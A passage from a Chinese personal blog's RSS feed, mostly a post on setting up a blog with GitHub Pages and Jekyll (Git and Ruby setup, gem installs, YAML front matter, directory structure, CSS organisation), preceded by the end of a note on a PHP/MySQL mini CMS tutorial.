        &lt;li&gt;Pagination on the article archive (front end) and article list (back end) so that the system can easily handle hundreds of articles&lt;/li&gt;
        &lt;li&gt;A &lt;a href=&quot;http://www.elated.com/articles/adding-wysiwyg-editor-to-your-site/&quot;&gt;WYSIWYG editor&lt;/a&gt; for easier content editing&lt;/li&gt;
        &lt;li&gt;An image upload facility (I’ve written a &lt;a href=&quot;https://www.elated.com/articles/add-image-uploading-to-your-cms/&quot;&gt;follow-up tutorial on adding an image upload feature to the CMS&lt;/a&gt;)&lt;/li&gt;
        &lt;li&gt;A preview facility, so the admin can see how an article will look before publishing it&lt;/li&gt;
        &lt;li&gt;Article categories and tags (I’ve written a &lt;a href=&quot;https://www.elated.com/articles/add-article-categories-to-your-cms/&quot;&gt;follow-up tutorial on adding categories&lt;/a&gt;)&lt;/li&gt;
        &lt;li&gt;Integration with Apache’s &lt;a href=&quot;http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html&quot;&gt;mod_rewrite&lt;/a&gt; to create more human-friendly permalink URLs for the articles (&lt;a href=&quot;https://www.elated.com/articles/mod-rewrite-tutorial-for-absolute-beginners/#friendly-urls&quot;&gt;find out how to do this&lt;/a&gt;)&lt;/li&gt;
        &lt;li&gt;A user comments system&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/li&gt;
    &lt;li&gt;I hope you’ve enjoyed this tutorial and found it useful. Happy coding!&lt;/li&gt;
  &lt;/ol&gt;
&lt;/blockquote&gt;

可以进一步增加的内容：

&lt;ul&gt;
  &lt;li&gt;分页功能&lt;/li&gt;
  &lt;li&gt;编辑器功能&lt;/li&gt;
  &lt;li&gt;图片上传功能&lt;/li&gt;
  &lt;li&gt;预览功能&lt;/li&gt;
  &lt;li&gt;文章分类和标签功能&lt;/li&gt;
  &lt;li&gt;评论功能&lt;/li&gt;
&lt;/ul&gt;

该文章讲得非常详细，非常适合入门学习，值得多读几遍，最好能码一遍代码。
</description>
        <pubDate>Wed, 18 Apr 2018 00:00:00 +0000</pubDate>
        <link>https://6xian.github.io/2018/04/18/note-of-a-mini-cms/</link>
        <guid isPermaLink="true">https://6xian.github.io/2018/04/18/note-of-a-mini-cms/</guid>
        
        <category>PHP</category>
        
        <category>MySQL</category>
        
        <category>CMS</category>
        
        
        <category>PHP</category>
        
      </item>
    
      <item>
        <title>搭建本站的一些知识 GitHub Pages 和 jekyll</title>
        <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#1-说明&quot; id=&quot;markdown-toc-1-说明&quot;&gt;1 说明&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#2-学习-github-pages-和-jekyll&quot; id=&quot;markdown-toc-2-学习-github-pages-和-jekyll&quot;&gt;2 学习 GitHub Pages 和 jekyll&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#3-搭建站点的步骤和发布文章&quot; id=&quot;markdown-toc-3-搭建站点的步骤和发布文章&quot;&gt;3 搭建站点的步骤和发布文章&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#31-搭建站点的步骤&quot; id=&quot;markdown-toc-31-搭建站点的步骤&quot;&gt;3.1 搭建站点的步骤&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#32-发布文章&quot; id=&quot;markdown-toc-32-发布文章&quot;&gt;3.2 发布文章&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#4-主题修改&quot; id=&quot;markdown-toc-4-主题修改&quot;&gt;4 主题修改&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#41-目录结构&quot; id=&quot;markdown-toc-41-目录结构&quot;&gt;4.1 目录结构&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#42-主要配置&quot; id=&quot;markdown-toc-42-主要配置&quot;&gt;4.2 主要配置&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#43-css-样式&quot; id=&quot;markdown-toc-43-css-样式&quot;&gt;4.3 CSS 样式&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#44-语法高亮&quot; id=&quot;markdown-toc-44-语法高亮&quot;&gt;4.4 语法高亮&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;1-说明&quot;&gt;1 说明&lt;/h2&gt;

这是一个关于本站的测试页面，也算我的博客的第一篇文章，简单记录下自己是怎样学习搭建这个站点的。

无意中读到 「&lt;a href=&quot;http://tom.preston-werner.com/2008/11/17/blogging-like-a-hacker.html&quot;&gt;Blogging Like a Hacker&lt;/a&gt;」 这篇文章，突然就冒出来一个想法，要搭建一个属于自己的博客站点。因为没有时间也没有必要去折腾自己的域名和空间，也不愿再去申请各类免费博客站点的账号，所以就选择了上文中作者提到的 GitHub Pages 和 jekyll 来搭建博客站点，这个组合非常优雅，自己只要负责写文章，并一键同步到 GitHub 远程仓库，然后就可以在世界上的任何地方阅读文章了。

&lt;h2 id=&quot;2-学习-github-pages-和-jekyll&quot;&gt;2 学习 GitHub Pages 和 jekyll&lt;/h2&gt;

GitHub Pages 是托管站点的仓库，jekyll 是生成静态站点的框架，并且 GitHub 对 jekyll 做了深度整合，就是说，只要把 Blog 文档(文本格式，如 Markdown)放在 GitHub 的仓库 (username.github.io) 上，GitHub 会借助 jekyll 生成 HTML 页面，并自动部署网站。当然，我们也可以先通过自己本地安装的 jekyll 生成离线的站点，再通过 Git 上传到 GitHub 上。这种方式可能更好，因为可以对自己的文章预览修改，满意后再放到 GitHub 上去。

网络上介绍 GitHub Pages 和 jekyll 的文章非常多，我也是从知道这种搭建站点的思路后，一点一点学，从没有任何经验到成功把站点建起来，虽然跌跌撞撞，了解的知识也是零零碎碎，但终归也是一个学习的过程，我很希望也很乐意多学点。学习的过程中主要参考了 Jekyll 官网的文档，还参考了以下网络上的文章。

&lt;ul&gt;
  &lt;li&gt;「&lt;a href=&quot;http://www.ruanyifeng.com/blog/2012/08/blogging_with_jekyll.html&quot;&gt;搭建一个免费的，无限流量的Blog—-github Pages和Jekyll入门&lt;/a&gt;」  阮一峰&lt;/li&gt;
  &lt;li&gt;「&lt;a href=&quot;https://help.github.com/articles/using-jekyll-as-a-static-site-generator-with-github-pages/&quot;&gt;Using Jekyll as a static site generator with GitHub Pages&lt;/a&gt;」 和 「&lt;a href=&quot;https://help.github.com/articles/setting-up-your-github-pages-site-locally-with-jekyll/&quot;&gt;Setting up your GitHub Pages site locally with Jekyll&lt;/a&gt;」  GitHub 上的 help&lt;/li&gt;
  &lt;li&gt;「&lt;a href=&quot;https://github.com/Gaohaoyang/gaohaoyang.github.io&quot;&gt;HyG&lt;/a&gt;」 本站点主题的作者，我在他的主题上做了些修改&lt;/li&gt;
  &lt;li&gt;「&lt;a href=&quot;http://tom.preston-werner.com/&quot;&gt;mojombo&lt;/a&gt;」  「Blogging Like a Hacker」 文章的作者，非常喜欢他 Blog 的样式&lt;/li&gt;
&lt;/ul&gt;

有了这些资源的帮助，还要知道些 Web 前端的知识，为此我花了些时间来了解 HTML, CSS, JavaScript, 并在修改本站点主题的过程中，借助 「&lt;a href=&quot;https://www.w3schools.com&quot;&gt;w3schools.com&lt;/a&gt;」 加深对 Web 知识的理解。要说的是，非常感谢 &lt;a href=&quot;https://github.com/Gaohaoyang/gaohaoyang.github.io&quot;&gt;HyG&lt;/a&gt; 和 &lt;a href=&quot;http://tom.preston-werner.com/&quot;&gt;mojombo&lt;/a&gt; 两个作者，他们的 Jekyll 主题非常好，因为他们分享的源码，让我更快的掌握了一些 HTML 和 CSS 方面的知识，也让我建一个站点这个想法现在就实现了。

&lt;h2 id=&quot;3-搭建站点的步骤和发布文章&quot;&gt;3 搭建站点的步骤和发布文章&lt;/h2&gt;

这里简单记录下搭建站点的步骤，以及我平常写文章和发布文章的一些常用操作，目的就是把自己实践过的事情总结下，下次再做类似事情的时候，不用全盘去 google 了。至于具体的细节就不再赘述，知道要做什么，怎么做就相对好办了。

我平常都是在 Win7 下工作学习和娱乐，所以列举的步骤可能更适合 Windows 系统，但 Linux 和 Mac 系统应该会更方便，毕竟像 jekyll 所描述的 &lt;em&gt;「Jekyll is not officially supported for Windows.」&lt;/em&gt; 能用 MacBook pro 工作的人是很幸福的。

&lt;h3 id=&quot;31-搭建站点的步骤&quot;&gt;3.1 搭建站点的步骤&lt;/h3&gt;

首先安装运行环境，GitHub 需要 Git, jekyll 需要 Ruby.
&lt;ul&gt;
  &lt;li&gt;安装 Git &lt;a href=&quot;https://git-scm.com/download/win&quot;&gt;https://git-scm.com/download/win&lt;/a&gt;, 新建本地仓库，熟悉 &lt;code class=&quot;highlighter-rouge&quot;&gt;git init&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;git add&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;git commit&lt;/code&gt;,&lt;code class=&quot;highlighter-rouge&quot;&gt;git checkout&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;git rm&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;git branch&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;git merge&lt;/code&gt; 等命令。&lt;/li&gt;
  &lt;li&gt;注册 GitHub 账号，设置用户名和邮箱，创建 SSH key.
    &lt;ul&gt;
      &lt;li&gt;试着在 GitHub 上建一个仓库，完成本地项目到远程仓库的关联，或者克隆远程仓库。&lt;br /&gt;
&lt;code class=&quot;highlighter-rouge&quot;&gt;git clone https://github.com/6xian/6xian.github.io.git 6xian.github.io&lt;/code&gt; &lt;br /&gt;
&lt;code class=&quot;highlighter-rouge&quot;&gt;git remote add origin git@github.com:6xian/6xian.github.io.git&lt;/code&gt;&lt;br /&gt;
&lt;code class=&quot;highlighter-rouge&quot;&gt;git push -u origin master&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;熟悉 &lt;code class=&quot;highlighter-rouge&quot;&gt;git pull origin master&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;git add --all&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;git commit -m 'something'&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;git push origin master&lt;/code&gt; 等操作。&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;安装 Ruby &lt;a href=&quot;https://rubyinstaller.org/downloads/&quot;&gt;https://rubyinstaller.org/downloads/&lt;/a&gt;，以及 rubygems, Bundler. 用来安装，管理 Ruby 程序包。&lt;/li&gt;
  &lt;li&gt;安装 jekyll. &lt;code class=&quot;highlighter-rouge&quot;&gt;gem install jekyll&lt;/code&gt; 安装完后，运行 &lt;code class=&quot;highlighter-rouge&quot;&gt;jekyll -v&lt;/code&gt;,  如果有些错误，可能的原因是很多包没有装上。根据出错的信息把各种包补上，我共安装了以下几个包。
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;$ gem install minima&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;$ gem install  jekyll-sitemap&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;$ gem install  pygments.rb&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;$ gem install jekyll-feed&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;$ gem install tzinfo-data x64-mingw32&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;

    之后运行 &lt;code class=&quot;highlighter-rouge&quot;&gt;$ jekyll -v&lt;/code&gt;, 查看 jekyll 版本。截止到现在，最新的版本应该是 jekyll 3.5.0.
  &lt;/li&gt;
&lt;/ul&gt;

运行环境安装完后，就可以搭建站点了，一种方式是先在本地用 jekyll 生成站点，修改预览本地站点，然后用 Git 初始化，关联到远程 GitHub 的 username.github.io 仓库。一种方式是先在 GitHub 新建 username.github.io 远程仓库，然后 clone 到本地，在本地按照 jekyll 的目录结构修改配置和页面，然后再用 Git push 到远程仓库。

第一种方式，先用 jekyll 生成本地站点。
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ jekyll new 6xian.github.io  // 生成站点，jekyll 会按照默认框架生成站点所需的目录和文件
  ......
New jekyll site installed in D:/jekyllWorkspace/6xian.github.io.

$ cd 6xian.github.io

$ bundle exec jekyll serve  // 或者 (jekyll serve) 启动服务，之后就可以在本地访问站点了。
Configuration file: D:/jekyllWorkspace/6xian.github.io/_config.yml
            Source: D:/jekyllWorkspace/6xian.github.io
       Destination: D:/jekyllWorkspace/6xian.github.io/_site
       ...
 Auto-regeneration: enabled for 'D:/jekyllWorkspace/6xian.github.io'
    Server address: http://127.0.0.1:4000/
  Server running... press ctrl-c to stop.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

本地站点生成后，通过访问 &lt;a href=&quot;http://127.0.0.1:4000/&quot;&gt;http://127.0.0.1:4000/&lt;/a&gt; 进行预览，修改再预览，之后可以关联推送自己的项目到 GitHub 远程仓库。完成之后就可以通过 &lt;a href=&quot;https://6xian.github.io/&quot;&gt;https://6xian.github.io/&lt;/a&gt; 访问自己的博客了。
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cd 6xian.github.io
$ git init 
$ git remote add origin git@github.com:6xian/6xian.github.io
$ git push -u origin master
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

第二种方式，先在 GitHub 上 创建 username.github.io 远程仓库，参考 &lt;a href=&quot;https://pages.github.com/&quot;&gt;https://pages.github.com/&lt;/a&gt;. 之后把远程仓库 clone 到本地，尝试在本地目录下新建一些 HTML 页面。然后在本地项目下执行 add, commit, push 等 Git 命令，这样就有一个简单的基于 GitHub Pages 的站点了。
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git clone https://github.com/username/username.github.io
$ cd username.github.io
$ echo &quot;Hello World&quot; &amp;gt; index.html
$ git add --all
$ git commit -m &quot;Initial commit&quot;
$ git push -u origin master
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

有了这个简单的站点和页面后，我们在 GitHub 上去找一些自己喜欢的站点主题，也就是其他人的 GitHub Pages (username.github.io), 把他们的项目 clone 或下载到我们自己的站点目录下，按照 jekyll 文件和目录框架的要求，修改配置，修改页面。完成后，就可以开始写文章了。

&lt;h3 id=&quot;32-发布文章&quot;&gt;3.2 发布文章&lt;/h3&gt;

搭建完站点后，就可以写文章，发布文章了。jekyll 支持将文本文档自动生成静态 HTML 页面，就是说我们可以用自己喜欢的编辑器把文章写好，存储为 Markdown 或者 Textile 文件就行，有个规则就是在文档开头要有 YAML 头信息，两行三个破折号之间的数据为 YAML 头信息。示例如下：
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;---
layout: post
title: Blogging Like a Hacker
---
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

再比如这篇文章的 YAML 头信息如下：
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;---
layout: post
title:  &quot;搭建本站的一些知识 GitHub Pages 和 jekyll&quot;
date:   2017-06-24
categories: Web
tags: Blog GitHub jekyll
author: 6xian
---
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

另外，建议所有博客文档都统一放在 &lt;code class=&quot;highlighter-rouge&quot;&gt;_posts&lt;/code&gt; 目录下，方便管理。jekyll 会把所有存在 YAML 头信息的文件生成静态页面，所以可以在根目录下放一个 index.md 文件，但是在根目录下不能同时有 index.md 和 index.html. 不然 jekyll 不会解析，站点主页也就没有了。

我觉得最好的写文档方式就是用 Markdown 了，比如在 Windows 下用 Sublime Text 写文档和代码, 预览的话，给 Chrome 装一个 Markdown 插件就好了。 文章写好了后，在站点目录下运行

&lt;code class=&quot;highlighter-rouge&quot;&gt;jekyll serve&lt;/code&gt;

或者

&lt;code class=&quot;highlighter-rouge&quot;&gt;jekyll serve --watch ( --wath 参数表示 jekyll 会监测文档的变化，自动生成页面)&lt;/code&gt;

生成静态页面并在本地预览。

如果要加入图片的话，可以把图片集中放在一个地方，在文档中用下面这段代码来引用图片。

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;figure&amp;gt;
&amp;lt;a&amp;gt;&amp;lt;img src=&quot;站点域名或项目名称/attaches/2017-06-24-about-this-site/1525073375257.png&quot;&amp;gt;&amp;lt;/a&amp;gt;
&amp;lt;/figure&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

站点域名或项目名称, 即把 &lt;code class=&quot;highlighter-rouge&quot;&gt;site.url&lt;/code&gt; 用两个花括号括起来。

下面这张图是我的测试。图片在本地的位置为

&lt;code class=&quot;highlighter-rouge&quot;&gt;6xian.github.io/attaches/2017-06-24-about-this-site/1525073375257.png&lt;/code&gt;

我在 &lt;code class=&quot;highlighter-rouge&quot;&gt;6xian.github.io&lt;/code&gt; 项目下，新建了一个 &lt;code class=&quot;highlighter-rouge&quot;&gt;/attaches&lt;/code&gt; 文件夹，集中存放所有文章的图片，每篇文章的图片单独放在以该文章名命名的文件夹下。

因为本地文件提交到 GitHub 后，我们的域名也是 &lt;code class=&quot;highlighter-rouge&quot;&gt;6xian.github.io&lt;/code&gt;，和我们的图片本地位置是一样的，所以用这种方式，既可以在本地预览时引用图片，文章发布后，在远程也能引用图片。

&lt;!-- ![1525073375257](../attaches/2017-06-24-about-this-site/1525073375257.png) --&gt;

&lt;figure&gt;
&lt;a&gt;&lt;img src=&quot;https://6xian.github.io/attaches/2017-06-24-about-this-site/1525073375257.png&quot; /&gt;&lt;/a&gt;
&lt;/figure&gt;

最后是文章的发布，运行下面的命令之后，任何位置都可以访问你更新的文章了。

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git add --all
$ git commit -m &quot;some commit&quot;
$ git push -u origin master
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;4-主题修改&quot;&gt;4 主题修改&lt;/h2&gt;

本站的主题参考了 &lt;a href=&quot;https://github.com/Gaohaoyang/gaohaoyang.github.io&quot;&gt;HyG&lt;/a&gt; 和 &lt;a href=&quot;http://tom.preston-werner.com/&quot;&gt;mojombo&lt;/a&gt;. 若您想使用这个 jekyll 博客主题，可以去他们的 GitHub 下载，或者参考 &lt;a href=&quot;https://github.com/6xian/6xian.github.io&quot;&gt;6xian&lt;/a&gt; 我现在用的这些样式。

下面对这个主题做些简要说明，也方便自己将来维护和修改这个站点。

&lt;h3 id=&quot;41-目录结构&quot;&gt;4.1 目录结构&lt;/h3&gt;

站点基本的目录结构可参考 jekyll 官网的文档 &lt;a href=&quot;https://jekyllrb.com/docs/structure/&quot;&gt;https://jekyllrb.com/docs/structure/&lt;/a&gt;. 本站点的主要目录和文件如下。

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.6xian.github.io
├── _config.yml    &lt;span class=&quot;c&quot;&gt;# 主配置文件&lt;/span&gt;
├── _Gemfile       &lt;span class=&quot;c&quot;&gt;# Gemfile 和 Gemfile.lock 文件，用于 Bundler 管理(跟踪和编译) jekyll 需要的软件包&lt;/span&gt;
├── index.html     &lt;span class=&quot;c&quot;&gt;# 主页文件，也可是是符合 YAML 格式的 'index.md' 文件&lt;/span&gt;
├── readme.md      &lt;span class=&quot;c&quot;&gt;# 站点的说明文档，也是 Github 项目仓库的说明文档&lt;/span&gt;
├── .gitignore     &lt;span class=&quot;c&quot;&gt;# 该文件里列举的文件和目录，不会进入 Git 的管理范围。&lt;/span&gt;
├── _posts         &lt;span class=&quot;c&quot;&gt;# 放置 Blog 文章的目录&lt;/span&gt;
|   ├── 2017-06-24-about-this-site.md    &lt;span class=&quot;c&quot;&gt;# Blog 文章&lt;/span&gt;
|   └── 2017-xx-xx-xx-xx.mm
├── _drafts                              &lt;span class=&quot;c&quot;&gt;# 未发布的 BLog 文件， 这些文件的格式中都没有 title.MARKUP 数据&lt;/span&gt;
|   ├── 2017-xx-xx-xxxx-xxxx-xxxx.md
├── _includes          &lt;span class=&quot;c&quot;&gt;# 可以加载这些「包含部分」到你的布局或者文章中以方便重用&lt;/span&gt;
|   ├── footer.html    &lt;span class=&quot;c&quot;&gt;# 页面底部的 HTMl 代码&lt;/span&gt;
|   └── head.html      &lt;span class=&quot;c&quot;&gt;# 页面 &amp;lt;head&amp;gt; 标记的代码，这里会加载 CSS(&quot;/css/main.css&quot;), JavaScript, HTML 头部等信息&lt;/span&gt;
|   └── header.html    &lt;span class=&quot;c&quot;&gt;# 页面顶部导航栏的代码&lt;/span&gt;
|   └── category.html  &lt;span class=&quot;c&quot;&gt;# 文章分类的显示页面，只对引用 post 模板的页面&lt;/span&gt;
|   └── tag.html       &lt;span class=&quot;c&quot;&gt;# 标签分类的显示页面，只对引用 post 模板的页面&lt;/span&gt;
├── _layouts           &lt;span class=&quot;c&quot;&gt;# layouts（布局）是包裹在文章外部的模板。布局可以在 YAML 头信息中根据不同文章进行选择&lt;/span&gt;
|   ├── default.html   &lt;span class=&quot;c&quot;&gt;# 默认布局文件，所有页面都会引用这个布局&lt;/span&gt;
|   ├── page.html      &lt;span class=&quot;c&quot;&gt;# 非 Blog 文章会引用这个模板布局，如 page 目录下的很多页面&lt;/span&gt;
|   └── post.html      &lt;span class=&quot;c&quot;&gt;# Blog 文章会引用这个模板布局&lt;/span&gt;
├── _sass              &lt;span class=&quot;c&quot;&gt;# 局部的 CSS 样式文件目录，用于导入 main.css 文件，main.css 定义了整个站点的 CSS 样式。.scss 文件的注释为 //&lt;/span&gt;
|   ├── _footer.scss   &lt;span class=&quot;c&quot;&gt;# 页面底部的样式&lt;/span&gt;
|   └── _header.scss   &lt;span class=&quot;c&quot;&gt;# 页面导航栏的样式&lt;/span&gt;
|   └── _index.scss    &lt;span class=&quot;c&quot;&gt;# 站点主页的样式&lt;/span&gt;
|   └── _layout.scss   &lt;span class=&quot;c&quot;&gt;# 默认 layouts（布局）的样式&lt;/span&gt;
|   └── _page.scss     &lt;span class=&quot;c&quot;&gt;# 默认 page.html 的样式&lt;/span&gt;
|   └── _post.scss     &lt;span class=&quot;c&quot;&gt;# 默认 post.html 的样式&lt;/span&gt;
|   └── _syntax-highlighting   &lt;span class=&quot;c&quot;&gt;# 语法高亮的样式&lt;/span&gt;
├── _page                  &lt;span class=&quot;c&quot;&gt;# 导航栏包含的页面&lt;/span&gt;
|   └── 0archives.html     &lt;span class=&quot;c&quot;&gt;# 文章归档的页面&lt;/span&gt;
|   └── 1category.html     &lt;span class=&quot;c&quot;&gt;# 文章分类的页面&lt;/span&gt;
|   └── 2tag.html          &lt;span class=&quot;c&quot;&gt;# 文章标签的页面&lt;/span&gt;
|   └── 3collections.md    &lt;span class=&quot;c&quot;&gt;# 一个相对独立的页面，充当收集的功能&lt;/span&gt;
|   └── 4about.md          &lt;span class=&quot;c&quot;&gt;# 关于作者的页面&lt;/span&gt;
├── _site              &lt;span class=&quot;c&quot;&gt;# Jekyll 完成转换后生成的页面放在这里（默认）。最好将这个目录放进 .gitignore 文件中，不同步到 GitHub 上&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
有了上面的目录和文件的说明，对整个站点的结构就比较清晰了。

&lt;h3 id=&quot;42-主要配置&quot;&gt;4.2 主要配置&lt;/h3&gt;

引用一段话来说明 _config.yml 文件的重要性。
&lt;blockquote&gt;

  Welcome to Jekyll!&lt;br /&gt;
 This config file is meant for settings that affect your whole blog, values which you are expected to set up once and rarely need to edit after that. For technical reasons, this file is &lt;em&gt;NOT&lt;/em&gt; reloaded automatically when you use ‘jekyll serve’. If you change this file, please restart the server process.
&lt;/blockquote&gt;

_config.yml 文件里包括站点名称、地址，常用链接，分页参数，Markdown 样式等信息的设置。这些信息都是以全局变量的形式存在，jekyll 通过 YAML 和 liquid 来调用。可以很方便的对整个站点的信息进行配置和应用。可以参考本站点的 &lt;a href=&quot;https://github.com/6xian/6xian.github.io/blob/master/_config.yml&quot;&gt;_config.yml&lt;/a&gt; 文件。这里简单说下 YAML 和 liquid. 有助于理解怎么使用这些配置信息。

&lt;blockquote&gt;
  YAML is a human friendly data serialization standard for all programming languages.  &lt;br /&gt;
Liquid is a template engine which was crafted for very specific requirements.&lt;br /&gt;
YAML is a format that relies on white spacing to separate out the various elements of content. Jekyll lets you use Liquid with YAML as a way to parse through the data.
&lt;/blockquote&gt;

在 jekyll 里，我了解的应用包括：
&lt;ul&gt;
  &lt;li&gt;YAML 头信息，用两行 &lt;code class=&quot;highlighter-rouge&quot;&gt;---&lt;/code&gt; 作为文件的开头，两行 &lt;code class=&quot;highlighter-rouge&quot;&gt;---&lt;/code&gt; 中间的数据就是头信息，这里的键值可以被整个页面通过 liquid 标记来调用。另外 _layouts 布局目录里的页面可以通过 YAML 头在整个站点进行调用。如:
    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;---
layout: post
---
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
    &lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;---
layout: default
---
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Jekyll 使用 Liquid 模板语言，支持所有标准的 Liquid 标签和过滤器。Jekyll 甚至增加了几个过滤器和标签，方便使用。参考 &lt;a href=&quot;https://help.shopify.com/themes/liquid/basics&quot;&gt;https://help.shopify.com/themes/liquid/basics&lt;/a&gt;.
    &lt;ul&gt;
      &lt;li&gt;Objects. Objects contain attributes that are used to display dynamic content on a page.&lt;/li&gt;
      &lt;li&gt;Filters. Filters are used to modify the output of strings, numbers, variables, and objects.&lt;/li&gt;
      &lt;li&gt;Tags. Tags make up the programming logic that tells templates what to do.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;43-css-样式&quot;&gt;4.3 CSS 样式&lt;/h3&gt;

整个站点呈现出来的外观主要就在 CSS 样式了，而 CSS 样式是基于站点的 HTML 代码。所以要想配置好 CSS 样式，先要理解好站点 HTML 代码是如何组织的。本站点页面的 HTML 代码主要分为四部分，分别是导航栏、正文左侧内容、正文右侧内容和页面底部。CSS 样式也是按照这四部分内容来组织。

首先说下整个站点 CSS 文件的组织和调用，_sass 目录下的 .scss 文件是站点模板和某些独立页面的 CSS 配置文件，但这里的文件没有被直接引用进页面，只是描述 CSS 的内容，真正被引用进页面的 CSS 文件是在 js 目录下的 main.scss 文件。在 main.scss 文件里导入了 _sass 目录下面的所有配置。
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@charset  &quot;utf-8&quot;;
@import &quot;reset&quot;, &quot;header&quot;, &quot;post&quot;, &quot;page&quot;, &quot;syntax-highlighting&quot;, &quot;index&quot;, &quot;demo&quot;, &quot;footer&quot;, &quot;scrollbar&quot;, &quot;backToTop&quot;;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

_includes 目录下的 head.html 文件，调用了 main.scss 和 其他两个外部的 css 文件。
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;---
---
&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://cdn.bootcss.com/font-awesome/4.7.0/css/font-awesome.min.css&quot;&amp;gt;    
&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;https://at.alicdn.com/t/font_8v3czwksspqlg14i.css&quot;&amp;gt;
&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/css/main.css &quot;&amp;gt;   
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
这里的两行三个破折号，以及为什么是 “/css/main.css “ 而不是 “/css/main.scss “ 文件，详细解释请参考 &lt;a href=&quot;https://jekyllrb.com/docs/assets/&quot;&gt;https://jekyllrb.com/docs/assets/&lt;/a&gt;

